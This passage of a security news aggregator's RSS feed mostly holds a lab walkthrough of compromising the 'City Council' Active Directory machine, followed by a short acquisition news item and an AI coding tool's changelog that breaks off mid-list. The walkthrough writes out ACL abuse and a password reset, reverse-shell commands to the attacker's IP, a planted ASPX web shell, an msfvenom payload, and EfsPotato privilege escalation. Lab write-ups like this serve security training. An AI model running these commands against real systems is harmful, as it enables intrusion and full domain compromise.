------<br>test.aspx BUILTIN\Administrators BUILTIN\IIS_IUSRS Allow  ReadAndExecute, Synchronize<br>                                 CITY\web_admin Allow  Modify, Synchronize<br>                                 NT SERVICE\TrustedInstaller Allow  FullControl<br>                                 NT AUTHORITY\SYSTEM Allow  FullControl<br>                                 BUILTIN\Administrators Allow  FullControl<br>                                 BUILTIN\Users Allow  ReadAndExecute, Synchronize<br><br><br>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; Get-ACL -Path . | Format-Table -Wrap<br><br><br>    Directory: C:\inetpub\wwwroot<br><br><br>Path    Owner                  Access<br>----    -----                  ------<br>uploads BUILTIN\Administrators BUILTIN\IIS_IUSRS Allow  ReadAndExecute, Synchronize<br>                               BUILTIN\IIS_IUSRS Allow  ReadAndExecute, Synchronize<br>                               CITY\web_admin Allow  Modify, Synchronize<br>                               BUILTIN\IIS_IUSRS Allow  -1610612736<br>                               NT SERVICE\TrustedInstaller Allow  FullControl<br>                               NT SERVICE\TrustedInstaller Allow  268435456<br>                               NT AUTHORITY\SYSTEM Allow  FullControl<br>                               NT AUTHORITY\SYSTEM Allow  268435456<br>                               BUILTIN\Administrators Allow  FullControl<br>                               BUILTIN\Administrators Allow  268435456<br>                               BUILTIN\Users Allow  ReadAndExecute, Synchronize<br>                               BUILTIN\Users Allow  -1610612736<br>                               CREATOR OWNER Allow  268435456</pre><p>I tried to get the Kerberos hash, but, unfortunately, couldn’t crack it. So I returned to what I saw in <em>BloodHound</em> for emma.hayes and started to investigate the permissions on those OUs.</p><p>First, I got the <em>DistinguishedName</em> property for the OUs.</p><pre>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; Get-ADOrganizationalUnit -Filter 'Name -eq "CITYOPS"' | Select Name, DistinguishedName<br><br>Name    DistinguishedName<br>----    -----------------<br>CityOps OU=CityOps,DC=city,DC=local<br><br><br>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; Get-ADOrganizationalUnit -Filter 'Name -eq "QUARANTINE"' | Select Name, DistinguishedName<br><br>Name       DistinguishedName<br>----       -----------------<br>Quarantine OU=Quarantine,DC=city,DC=local</pre><p>Then, I verified the access Emma had on those.</p><pre>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; (Get-Acl -Path "AD:\OU=Quarantine,DC=city,DC=local").Access | Where-Object 'IdentityReference' -like '*emma*' | Select ActiveDirectoryRights, InheritanceType, AccessControlType, IdentityReference, IsInherited | Format-Table -Wrap<br><br>                      ActiveDirectoryRights InheritanceType AccessControlType IdentityReference IsInherited<br>                      --------------------- --------------- ----------------- ----------------- -----------<br>ReadProperty, WriteProperty, GenericExecute             All             Allow CITY\emma.hayes         False<br>                   CreateChild, DeleteChild     Descendents             Allow CITY\emma.hayes         False<br>                   CreateChild, DeleteChild             All             Allow CITY\emma.hayes         False<br>                   CreateChild, DeleteChild     Descendents             Allow CITY\emma.hayes         False<br><br>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; (Get-Acl -Path "AD:\OU=CityOps,DC=city,DC=local").Access | Where-Object 'IdentityReference' -like '*emma*' | Select ActiveDirectoryRights, InheritanceType, AccessControlType, IdentityReference, IsInherited | Format-Table -Wrap <br><br>ActiveDirectoryRights InheritanceType AccessControlType IdentityReference IsInherited<br>--------------------- --------------- ----------------- ----------------- -----------<br>           GenericAll             All             Allow CITY\emma.hayes         False<br>            WriteDacl             All             Allow CITY\emma.hayes         False</pre><p>Next, I got the info about web_admin.</p><pre>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; Get-ADUser -Identity web_admin<br><br><br>DistinguishedName : CN=Web Admin,OU=Quarantine,DC=city,DC=local<br>Enabled           : True<br>GivenName         :<br>Name              : Web Admin<br>ObjectClass       : user<br>ObjectGUID        : d0eac22e-8e85-49d2-a287-dfdeabd35707<br>SamAccountName    : web_admin<br>SID               : S-1-5-21-407732331-1521580060-1819249925-1107<br>Surname           :<br>UserPrincipalName : web_admin@city.local</pre><p>Finally, I got the access Emma had on it.</p><pre>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; (Get-Acl -Path "AD:\CN=Web Admin,OU=Quarantine,DC=city,DC=local").Access | Where-Object {$_.IdentityReference -like "*emma.hayes*"} | Select-Object ActiveDirectoryRights, InheritanceType, AccessControlType, IdentityReference, IsInherited | Format-Table<br><br>                      ActiveDirectoryRights InheritanceType AccessControlType IdentityReference IsInherited<br>                      --------------------- --------------- ----------------- ----------------- -----------<br>                   CreateChild, DeleteChild             All             Allow CITY\emma.hayes          True<br>                   CreateChild, DeleteChild             All             Allow CITY\emma.hayes          True<br>                   CreateChild, DeleteChild             All             Allow CITY\emma.hayes          True<br>ReadProperty, WriteProperty, GenericExecute             All             Allow CITY\emma.hayes          True</pre><p>I proceeded with moving web_admin from <em>Quarantine</em> to <em>CityOps</em>.</p><pre>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; $emma_pass = ConvertTo-SecureString &lt;REDACTED&gt; -AsPlainText -Force<br>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; $emma_cred = New-Object System.Management.Automation.PSCredential('city.local\emma.hayes', $emma_pass)<br>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; Move-ADObject -Identity "CN=Web Admin,OU=Quarantine,DC=city,DC=local" -TargetPath "OU=CityOps,DC=city,DC=local" -Credential $emma_cred<br>*Evil-WinRM* PS C:\inetpub\wwwroot\uploads&gt; Get-ADUser -Identity web_admin<br><br><br>DistinguishedName : CN=Web Admin,OU=CityOps,DC=city,DC=local<br>Enabled           : True<br>GivenName         :<br>Name              : Web Admin<br>ObjectClass       : user<br>ObjectGUID        : d0eac22e-8e85-49d2-a287-dfdeabd35707<br>SamAccountName    : web_admin<br>SID               : S-1-5-21-407732331-1521580060-1819249925-1107<br>Surname           :<br>UserPrincipalName : web_admin@city.local</pre><p>Once that step was completed and verified, I reset the password and tested it.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $bloodyAD -u 'emma.hayes' -p &lt;REDACTED&gt; -d 'city.local' --host 10.1.65.124 set password 'web_admin' 'Password123'<br>[+] Password changed successfully!<br>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $netexec smb city.local -u web_admin -p 'Password123'<br>SMB         10.1.65.124     445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.65.124     445    DC-CC            [+] city.local\web_admin:Password123 </pre><p>However, there was still a big issue. Although I had the password for it, I couldn’t remotely connect to that user because it was lacking the proper group memberships. I started a <em>netcat</em> listener, then uploaded <em>RunasCs.exe</em> in <em>C:\Temp</em> from the terminal I had as sam.brooks.</p><pre>*Evil-WinRM* PS C:\Temp&gt; upload RunasCs.exe<br>                                        <br>Info: Uploading /home/rootshellace/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil/RunasCs.exe to C:\Temp\RunasCs.exe<br>                                        <br>Data: 68948 bytes of 68948 bytes copied<br>                                        <br>Info: Upload successful!<br>*Evil-WinRM* PS C:\Temp&gt; dir<br><br><br>    Directory: C:\Temp<br><br><br>Mode                LastWriteTime         Length Name<br>----                -------------         ------ ----<br>-a----       10/24/2025   9:08 AM           2548 dc_user_rights.inf<br>-a----       11/28/2025  12:57 PM           5296 privs.inf<br>-a----        6/28/2026   4:01 AM          51712 RunasCs.exe<br>-a----       10/24/2025   9:08 AM          16384 secedit.jfm<br>-a----       10/24/2025   9:08 AM        1048576 secedit.sdb</pre><p>After that, I executed <em>RunasCs.exe</em> and launched a reverse shell.</p><pre>*Evil-WinRM* PS C:\Temp&gt; .\RunasCs.exe web_admin Password123 powershell.exe -r &lt;MY_VPN_IP&gt;:4444<br>[*] Warning: User profile directory for user web_admin does not exists. Use --force-profile if you want to force the creation.<br>[*] Warning: The logon for user 'web_admin' is limited. Use the flag combination --bypass-uac and --logon-type '5' to obtain a more privileged token.<br><br>[+] Running in session 0 with process function CreateProcessWithLogonW()<br>[+] Using Station\Desktop: Service-0x0-14f5d16$\Default<br>[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 2676 created in background.</pre><p>In the terminal where I previously started the <em>netcat</em> listener, I got access as <em>web_admin</em>.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $nc -lnvp 4444<br>Listening on 0.0.0.0 4444<br>Connection received on 10.1.65.124 50330<br>Windows PowerShell <br>Copyright (C) Microsoft Corporation. All rights reserved.<br><br>PS C:\Windows\system32&gt; whoami<br>whoami<br>city\web_admin<br>PS C:\Windows\system32&gt; </pre><p><strong><em>● Pivoting to </em></strong><strong><em>defaultapppool</em></strong></p><p>Once I got access as <em>web_admin</em>, I went to the website uploads directory to place the <em>.aspx</em> reverse shell (available <a href="https://github.com/borjmz/aspx-reverse-shell/tree/master"><em>here</em></a><em>). </em>Of course, in a different terminal, I started another <em>netcat</em> listener, to have it prepared. Using <em>PowerShell</em> and a local Python web server, I uploaded the required file.</p><pre>PS C:\inetpub\wwwroot\uploads&gt; dir<br>dir<br><br><br>    Directory: C:\inetpub\wwwroot\uploads<br><br><br>Mode                LastWriteTime         Length Name                                                                  <br>----                -------------         ------ ----                                                                  <br>-a----       10/24/2025  11:23 AM           1218 test.aspx                                                             <br><br><br>PS C:\inetpub\wwwroot\uploads&gt; Invoke-WebRequest -Uri "http://&lt;MY_VPN_IP&gt;:8000/hack.aspx" -OutFile "C:\inetpub\wwwroot\uploads\hack.aspx"<br>Invoke-WebRequest -Uri "http://&lt;MY_VPN_IP&gt;:8000/hack.aspx" -OutFile "C:\inetpub\wwwroot\uploads\hack.aspx"<br>PS C:\inetpub\wwwroot\uploads&gt; dir<br>dir<br><br><br>    Directory: C:\inetpub\wwwroot\uploads<br><br><br>Mode                LastWriteTime         Length Name                                                                  <br>----                -------------         ------ ----                                                                  <br>-a----        6/28/2026   4:45 AM          15970 hack.aspx                                                             <br>-a----       10/24/2025  11:23 AM           1218 test.aspx                                                             <br><br><br>PS C:\inetpub\wwwroot\uploads&gt;</pre><p>In my browser, I accessed the page (<em>http://city.local/uploads/hack.aspx</em>) and, in that way, triggered the execution of the malicious file, which granted me access.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $nc -lnvp 5555<br>Listening on 0.0.0.0 5555<br>Connection received on 10.1.65.124 50499<br>Spawn Shell...<br>Microsoft Windows [Version 10.0.17763.5936]<br>(c) 2018 Microsoft Corporation. All rights reserved.<br><br>c:\windows\system32\inetsrv&gt;whoami<br>whoami<br>iis apppool\defaultapppool<br><br>c:\windows\system32\inetsrv&gt;</pre><p><strong><em>● Abuse privileges and get full access</em></strong></p><p>The first thing I did after I got access as <em>defaultapppool</em> was to check which privileges were assigned to that user. It had SeImpersonatePrivilege, which was a good attacking vector.</p><pre>c:\windows\system32\inetsrv&gt;whoami /priv<br>whoami /priv<br><br>PRIVILEGES INFORMATION<br>----------------------<br><br>Privilege Name                Description                               State   <br>============================= ========================================= ========<br>SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled<br>SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled<br>SeMachineAccountPrivilege     Add workstations to domain                Disabled<br>SeAuditPrivilege              Generate security audits                  Disabled<br>SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled <br>SeImpersonatePrivilege        Impersonate a client after authentication Enabled <br>SeCreateGlobalPrivilege       Create global objects                     Enabled <br>SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled<br><br>c:\windows\system32\inetsrv&gt;</pre><p>I looked for available exploits applied to that permission. Initially, I tried with <em>PrintSpoofer.exe</em>, but it didn’t work. Next, I uploaded and compiled <em>EfsPotato.cs</em> (available <a href="https://github.com/zcgonvh/EfsPotato"><em>here</em></a>), according to instructions provided by its developer.</p><pre>C:\Temp&gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618<br>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618<br>Microsoft (R) Visual C# Compiler version 4.7.3190.0<br>for C# 5<br>Copyright (C) Microsoft Corporation. All rights reserved.<br><br>This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240<br><br><br>C:\Temp&gt;dir<br>dir<br> Volume in drive C has no label.<br> Volume Serial Number is CCCC-FB95<br><br> Directory of C:\Temp<br><br>06/28/2026  05:10 AM    &lt;DIR&gt;          .<br>06/28/2026  05:10 AM    &lt;DIR&gt;          ..<br>10/24/2025  09:08 AM             2,548 dc_user_rights.inf<br>06/28/2026  05:05 AM            25,441 EfsPotato.cs<br>06/28/2026  05:10 AM            17,920 EfsPotato.exe<br>06/28/2026  04:59 AM            27,136 PrintSpoofer64.exe<br>11/28/2025  01:57 PM             5,296 privs.inf<br>06/28/2026  04:01 AM            51,712 RunasCs.exe<br>10/24/2025  09:08 AM            16,384 secedit.jfm<br>10/24/2025  09:08 AM         1,048,576 secedit.sdb<br>06/28/2026  04:19 AM        11,076,096 winPEASx64.exe<br>               9 File(s)     12,271,109 bytes<br>               2 Dir(s)  34,349,150,208 bytes free</pre><p>Next, I created an executable for another reverse shell, using <em>msfvenom</em>.</p><pre>┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]<br>└──╼ $msfvenom -p windows/x64/shell_reverse_tcp LHOST=&lt;MY_VPN_IP&gt; LPORT=7777 -f exe &gt; syshack_shell.exe</pre><p>I uploaded it via the same connection I had as sam.brooks . I also started another <em>netcat</em> listener.</p><pre>*Evil-WinRM* PS C:\Temp&gt; upload syshack_shell.exe<br>                                        <br>Info: Uploading /home/rootshellace/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil/syshack_shell.exe to C:\Temp\syshack_shell.exe<br>                                        <br>Data: 10240 bytes of 10240 bytes copied<br>                                        <br>Info: Upload successful!<br>*Evil-WinRM* PS C:\Temp&gt; dir<br><br><br>    Directory: C:\Temp<br><br><br>Mode                LastWriteTime         Length Name<br>----                -------------         ------ ----<br>-a----       10/24/2025   9:08 AM           2548 dc_user_rights.inf<br>-a----        6/28/2026   5:05 AM          25441 EfsPotato.cs<br>-a----        6/28/2026   5:10 AM          17920 EfsPotato.exe<br>-a----        6/28/2026   4:59 AM          27136 PrintSpoofer64.exe<br>-a----       11/28/2025  12:57 PM           5296 privs.inf<br>-a----        6/28/2026   4:01 AM          51712 RunasCs.exe<br>-a----       10/24/2025   9:08 AM          16384 secedit.jfm<br>-a----       10/24/2025   9:08 AM        1048576 secedit.sdb<br>-a----        6/28/2026   5:45 AM           7680 syshack_shell.exe<br>-a----        6/28/2026   5:31 AM             14 test_user.txt<br>-a----        6/28/2026   4:19 AM       11076096 winPEASx64.exe</pre><p>Once uploaded, I executed EfsPotato.exe to trigger the reverse shell with elevated permissions.</p><pre>C:\Temp&gt;.\EfsPotato.exe "cmd.exe /c C:\Temp\syshack_shell.exe"<br>.\EfsPotato.exe "cmd.exe /c C:\Temp\syshack_shell.exe"<br>Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).<br>Part of GMH's fuck Tools, Code By zcgonvh.<br>CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]<br><br>[+] Current user: IIS APPPOOL\DefaultAppPool<br>[+] Pipe: \pipe\lsarpc<br>[!] binding ok (handle=109ff80)<br>[+] Get Token: 860<br>[!] process with pid: 2068 created.<br>==============================<br>[x] EfsRpcEncryptFileSrv failed: 1818</pre><p>I went back to my terminal with the listener and I saw I got System access. Finally, I went inside the Desktop directory of the Administrator account and read the root flag.</p><pre>└──╼ $nc -lnvp 7777<br>Listening on 0.0.0.0 7777<br>Connection received on 10.1.65.124 50695<br>Microsoft Windows [Version 10.0.17763.5936]<br>(c) 2018 Microsoft Corporation. All rights reserved.<br><br>C:\Temp&gt;whoami<br>whoami<br>nt authority\system<br><br>C:\Temp&gt;cd C:\Users\Administrator\Desktop<br>cd C:\Users\Administrator\Desktop<br><br>C:\Users\Administrator\Desktop&gt;dir<br>dir<br> Volume in drive C has no label.<br> Volume Serial Number is CCCC-FB95<br><br> Directory of C:\Users\Administrator\Desktop<br><br>02/27/2026  07:55 AM    &lt;DIR&gt;          .<br>02/27/2026  07:55 AM    &lt;DIR&gt;          ..<br>10/24/2025  11:53 AM             1,230 root.txt<br>               1 File(s)          1,230 bytes<br>               2 Dir(s)  34,347,618,304 bytes free<br><br>C:\Users\Administrator\Desktop&gt;type root.txt<br>type root.txt<br><br><br>&lt;REDACTED_FLAG&gt;<br><br><br>⠀⠀⠀⠀⠀⣀⣠⠤⠶⠶⣖⡛⠛⠿⠿⠯⠭⠍⠉⣉⠛⠚⠛⠲⣄⠀⠀⠀⠀⠀<br>⠀⠀⢀⡴⠋⠁⠀⡉⠁⢐⣒⠒⠈⠁⠀⠀⠀⠈⠁⢂⢅⡂⠀⠀⠘⣧⠀⠀⠀⠀<br>⠀⠀⣼⠀⠀⠀⠁⠀⠀⠀⠂⠀⠀⠀⠀⢀⣀⣤⣤⣄⡈⠈⠀⠀⠀⠘⣇⠀⠀⠀<br>⢠⡾⠡⠄⠀⠀⠾⠿⠿⣷⣦⣤⠀⠀⣾⣋⡤⠿⠿⠿⠿⠆⠠⢀⣀⡒⠼⢷⣄⠀<br>⣿⠊⠊⠶⠶⢦⣄⡄⠀⢀⣿⠀⠀⠀⠈⠁⠀⠀⠙⠳⠦⠶⠞⢋⣍⠉⢳⡄⠈⣧<br>⢹⣆⡂⢀⣿⠀⠀⡀⢴⣟⠁⠀⢀⣠⣘⢳⡖⠀⠀⣀⣠⡴⠞⠋⣽⠷⢠⠇⠀⣼<br>⠀⢻⡀⢸⣿⣷⢦⣄⣀⣈⣳⣆⣀⣀⣤⣭⣴⠚⠛⠉⣹⣧⡴⣾⠋⠀⠀⣘⡼⠃<br>⠀⢸⡇⢸⣷⣿⣤⣏⣉⣙⣏⣉⣹⣁⣀⣠⣼⣶⡾⠟⢻⣇⡼⠁⠀⠀⣰⠋⠀⠀<br>⠀⢸⡇⠸⣿⡿⣿⢿⡿⢿⣿⠿⠿⣿⠛⠉⠉⢧⠀⣠⡴⠋⠀⠀⠀⣠⠇⠀⠀⠀<br>⠀⢸⠀⠀⠹⢯⣽⣆⣷⣀⣻⣀⣀⣿⣄⣤⣴⠾⢛⡉⢄⡢⢔⣠⠞⠁⠀⠀⠀⠀<br>⠀⢸⠀⠀⠀⠢⣀⠀⠈⠉⠉⠉⠉⣉⣀⠠⣐⠦⠑⣊⡥⠞⠋⠀⠀⠀⠀⠀⠀⠀<br>⠀⢸⡀⠀⠁⠂⠀⠀⠀⠀⠀⠀⠒⠈⠁⣀⡤⠞⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀<br>⠀⠀⠙⠶⢤⣤⣤⣤⣤⡤⠴⠖⠚⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀<br>C:\Users\Administrator\Desktop&gt;</pre><p>If you got here, I want to thank you for the time you took to read my article. I hope you enjoyed it and also learned something from it. Why not take a look at some of my other articles?</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=15ef3f2b3c1c" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/hack-smarter-city-council-active-directory-15ef3f2b3c1c">Hack Smarter — City Council (Active Directory)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Schneider Electric buys industrial AI company Cognite for $3.1bn]]></title>
<description><![CDATA[Upon completion of the deal, the French energy services giant will combine Cognite with its own industrial software business, Aveva.
Read more: Schneider Electric buys industrial AI company Cognite for $3.1bn]]></description>
<link>https://tsecurity.de/de/3638060/it-nachrichten/schneider-electric-buys-industrial-ai-company-cognite-for-31bn/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3638060/it-nachrichten/schneider-electric-buys-industrial-ai-company-cognite-for-31bn/</guid>
<pubDate>Wed, 01 Jul 2026 12:02:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Upon completion of the deal, the French energy services giant will combine Cognite with its own industrial software business, Aveva.</p>
<p>Read more: <a rel="nofollow" href="https://www.siliconrepublic.com/business/schneider-electric-buys-industrial-ai-company-cognite-for-3-1bn">Schneider Electric buys industrial AI company Cognite for $3.1bn</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.17.12]]></title>
<description><![CDATA[Core
Bugfixes

Enable adaptive thinking for Claude Sonnet 5.
Prefer MCP content responses over structured output when both are present.
Reconnect MCP servers after OAuth even if the server was disabled. (@MaxAnderson95)
Request MCP refresh-token scope during OAuth.
Show MCP OAuth completion error...]]></description>
<link>https://tsecurity.de/de/3636744/downloads/v11712/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3636744/downloads/v11712/</guid>
<pubDate>Tue, 30 Jun 2026 22:01:25 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Core</h2>
<h3>Bugfixes</h3>
<ul>
<li>Enable adaptive thinking for Claude Sonnet 5.</li>
<li>Prefer MCP content responses over structured output when both are present.</li>
<li>Reconnect MCP servers after OAuth even if the server was disabled. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MaxAnderson95/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MaxAnderson95">@MaxAnderson95</a>)</li>
<li>Request MCP refresh-token scope during OAuth.</li>
<li>Show MCP OAuth completion errors instead of a generic failure.</li>
<li>Refresh cached remote skills.</li>
<li>Preserve skill resource paths.</li>
<li>Pick better default small models across providers.</li>
<li>Scope MCP auth status to each server URL.</li>
</ul>
<h2>TUI</h2>
<h3>Improvements</h3>
<ul>
<li>Add a yolo mode to auto-approve permissions.</li>
<li>Pass ServerAuth headers through external served TUI connections. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OpeOginni/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OpeOginni">@OpeOginni</a>)</li>
</ul>
<h2>Desktop</h2>
<h3>Improvements</h3>
<ul>
<li>Autocomplete MCP resources in the composer.</li>
<li>Add workspace controls when starting a new session.</li>
<li>Show stored token and cost totals in the session context. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OpeOginni/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OpeOginni">@OpeOginni</a>)</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Autocomplete configured references in prompts.</li>
<li>Restore the prompt cursor when the composer regains focus.</li>
<li>Remember the last active desktop URL across restarts.</li>
<li>Preserve the selected model when promoting a session. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/usrnk1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/usrnk1">@usrnk1</a>)</li>
<li>Keep session pages in sync during concurrent events.</li>
<li>Support normal auth input prompts in the desktop connect-provider dialog. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OpeOginni/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OpeOginni">@OpeOginni</a>)</li>
<li>Prevent hidden terminal tabs from hanging or resizing incorrectly.</li>
<li>Re-enable auto-accept in session settings.</li>
<li>Keep session tabs scoped to the correct server.</li>
<li>Remember the selected home project and server.</li>
</ul>
<h2>SDK</h2>
<h3>Improvements</h3>
<ul>
<li>Add a live event subscription stream.</li>
<li>Add SDK access to active sessions.</li>
<li>Restore session runtime operations such as event streaming, interrupts, and message lookup.</li>
<li>Add paged durable session history.</li>
<li>Add session permission request create and fetch endpoints.</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Preserve <code>V2Event</code> names in SSE streams.</li>
<li>Wake embedded session execution after new prompts.</li>
<li>Improve V2 runtime tool results and avoid duplicate model switch events.</li>
<li>Resolve MIME types for prompt attachments sent by URI.</li>
</ul>
<p><strong>Thank you to 11 community contributors:</strong></p>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/usrnk1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/usrnk1">@usrnk1</a>:
<ul>
<li>feat(app): refine session UI styling (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4742454333" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/33860" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/33860/hovercard" href="https://github.com/anomalyco/opencode/pull/33860">#33860</a>)</li>
<li>fix(desktop): preserve selected model during session promotion (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4770123117" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34466" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34466/hovercard" href="https://github.com/anomalyco/opencode/pull/34466">#34466</a>)</li>
<li>fix(desktop): context menu button / tab intermittent issue (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4767615083" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34420" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34420/hovercard" href="https://github.com/anomalyco/opencode/pull/34420">#34420</a>)</li>
<li>feat(desktop): add hover background to session title and single-click edit (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4775437597" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34589" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34589/hovercard" href="https://github.com/anomalyco/opencode/pull/34589">#34589</a>)</li>
<li>feat(app): hide separators around active tabs (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4775626388" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34591" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34591/hovercard" href="https://github.com/anomalyco/opencode/pull/34591">#34591</a>)</li>
<li>feat(desktop): polish inline session title editing (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4776395686" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34607" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34607/hovercard" href="https://github.com/anomalyco/opencode/pull/34607">#34607</a>)</li>
<li>feat(desktop): make error view draggable (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4777184618" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34627" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34627/hovercard" href="https://github.com/anomalyco/opencode/pull/34627">#34627</a>)</li>
<li>feat(desktop): polish tooltips and session search (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4777407111" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34632" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34632/hovercard" href="https://github.com/anomalyco/opencode/pull/34632">#34632</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arvsrn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arvsrn">@arvsrn</a>:
<ul>
<li>feat(app): updates to design system (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4751996265" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34066" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34066/hovercard" href="https://github.com/anomalyco/opencode/pull/34066">#34066</a>)</li>
<li>feat(app): update home screen alignment + markdown styles (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4756857236" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34172" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34172/hovercard" href="https://github.com/anomalyco/opencode/pull/34172">#34172</a>)</li>
<li>feat(app): minor visual updates (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4757844840" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34205" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34205/hovercard" href="https://github.com/anomalyco/opencode/pull/34205">#34205</a>)</li>
<li>feat(app): new debug bar (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4758877971" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/34237" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/34237/hovercard" href="https://github.com/anomalyco/opencode/pull/34237">#34237</a>)</li>
